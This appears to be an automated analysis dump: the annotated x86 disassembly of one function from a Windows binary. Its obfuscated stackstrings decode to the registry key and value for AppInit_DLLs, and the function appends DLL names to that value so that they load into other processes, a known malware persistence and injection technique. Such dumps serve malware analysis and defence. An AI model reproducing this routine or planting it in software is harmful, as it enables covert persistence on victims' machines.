Function at 0x401320
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1058
call fcn.00401f50
push ebx
push esi
push edi
jmp 0x401349
push 0xd
xor eax, eax
pop ecx
lea edi, [ebp - 0x53]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x1b]
mov byte [ebp - 0x54], 0x53
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov byte [ebp - 0x53], 0x4f
mov byte [ebp - 0x52], 0x46
mov byte [ebp - 0x51], 0x54
mov byte [ebp - 0x50], 0x57
mov byte [ebp - 0x4f], 0x41
mov byte [ebp - 0x4e], 0x52
mov byte [ebp - 0x4d], 0x45
mov byte [ebp - 0x4c], 0x5c
mov byte [ebp - 0x4b], 0x4d
mov byte [ebp - 0x4a], 0x69
mov byte [ebp - 0x49], 0x63
mov byte [ebp - 0x48], 0x72
mov byte [ebp - 0x47], 0x6f
mov byte [ebp - 0x46], 0x73
mov byte [ebp - 0x45], 0x6f
mov byte [ebp - 0x44], 0x66
mov byte [ebp - 0x43], 0x74
mov byte [ebp - 0x42], 0x5c
mov byte [ebp - 0x41], 0x57
mov byte [ebp - 0x40], 0x69
mov byte [ebp - 0x3f], 0x6e
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x6f
mov byte [ebp - 0x3c], 0x77
mov byte [ebp - 0x3b], 0x73
mov byte [ebp - 0x3a], 0x20
mov byte [ebp - 0x39], 0x4e
mov byte [ebp - 0x38], 0x54
mov byte [ebp - 0x37], 0x5c
mov byte [ebp - 0x36], 0x43
mov byte [ebp - 0x35], 0x75
mov byte [ebp - 0x34], 0x72
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x6e
mov byte [ebp - 0x30], 0x74
mov byte [ebp - 0x2f], 0x56
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x73
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x5c
mov byte [ebp - 0x27], 0x57
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x64
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x77
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x1c], 0x41
mov byte [ebp - 0x1b], 0x70
mov byte [ebp - 0x1a], 0x70
mov byte [ebp - 0x19], 0x49
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x5f
mov byte [ebp - 0x14], 0x44
mov byte [ebp - 0x13], 0x4c
mov byte [ebp - 0x12], 0x4c
mov byte [ebp - 0x11], 0x73
jmp 0x401460
xor ebx, ebx
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1057]
mov byte [ebp - 0x1058], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], 0xfff
jmp 0x401488
push 1
pop edi
mov dword [ebp - 0xc], edi
jmp 0x401496
lea eax, [ebp - 8]
push eax
push 0xf003f
lea eax, [ebp - 0x54]
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4014ba
xor eax, eax
jmp 0x401559
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1058]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 8]
call fcn.00401228
add esp, 0x18
test eax, eax
je 0x401500
jmp 0x4014fd
mov dword [ebp - 4], edi
jmp 0x401508
jmp 0x401528
mov esi, dword [ebp + 8]
cmp esi, ebx
jne 0x4015da
cmp dword [ebp - 4], edi
jbe 0x40159e
mov esi, 0x4040f0
push esi
call section..text
lea eax, [ebp - 0x1058]
push esi
push eax
call fcn.00401193
add esp, 0xc
test eax, eax
je 0x401566
mov eax, edi
jmp 0x401561
jmp 0x4016e5
lea eax, [ebp - 0x1058]
push 0x404170
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
jmp 0x401584
lea eax, [ebp - 0x1058]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push esi
call section..text
pop ecx
jmp 0x401694
jmp 0x4015be
mov esi, 0x4040f0
push esi
call section..text
pop ecx
lea eax, [ebp - 0x1058]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
jmp 0x401592
cmp dword [esi], ebx
mov dword [ebp - 0x58], ebx
jle 0x401694
add esi, 4
cmp dword [ebp - 0x58], 0x32
jge 0x401694
jmp 0x401612
push esi
mov byte [esi + 0x1f], bl
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x401680
lea eax, [ebp - 0x1058]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x401672
jmp 0x40164d
lea eax, [ebp - 0x1058]
push esi
push eax
call fcn.00401193
pop ecx
test eax, eax
pop ecx
jne 0x401680
lea eax, [ebp - 0x1058]
push 0x404170
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x1058]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
inc dword [ebp - 0x58]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x58]
add esi, 0x20
cmp ecx, dword [eax]
jl 0x4015e8
jmp 0x40169c
lea eax, [ebp - 0x1058]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x1058]
push eax
push edi
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4016da
jmp 0x4016d1
jmp 0x4016d8
xor edi, edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret